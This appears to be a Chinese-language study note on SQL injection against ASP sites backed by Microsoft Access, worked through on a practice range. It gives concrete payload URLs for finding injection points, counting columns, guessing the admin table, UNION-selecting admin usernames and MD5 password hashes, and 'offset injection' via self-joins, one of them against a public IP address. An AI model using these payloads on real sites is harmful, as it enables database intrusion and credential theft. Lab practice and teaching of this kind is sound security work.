Access注入,Access偏移注入
Access数据库组成
表名
列名
数据
某access+asp注入靶场
iis+asp+access
asp一般搭配access
PHP一般搭配mysql
aspx一般搭配msSQL
注入的条件是能够传参、与数据库互动,数据交互
get,post,cookie都可以注入
注入流程
1.1、进入一个可以传参的页面
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513
1.2、判断注入点
'
或者and 1=1,and 1=2
1.3、判断字段
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
22返回正常,23报错说明字段数为22
这里查的表实际上就是product表,查到22列
1.4、判断表名
and exits (select * from admin)
,若存在表名为admin则回显正常,若不存在,回显错误
1.5、联合查询
union select
由于是access数据库,只有表名、列名、内容,需要指定一个表
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
一般admin就是存放管理员信息的表,access表名全靠猜
试出来3和15,也就是说我们可以在3和15两个地方查数据,也就是查指定列数据
http://117.24.12.33:10000/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
此密码经过md5加密
猜解列名小技巧
查看后台(登录页)源代码
此靶场做过修改
Access偏移注入(知道表名,列名猜解不到时)
爆出显示位后,判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin 错误
以此类推,直到。。。
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段;
用*
代表 admin 表的字段数,计算*
代替字符的位数。
Access偏移注入原理,基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
爆列名数据
一级偏移:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
或者
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
此时查看源代码会有惊喜
墨者靶场练习
密码经过md5加密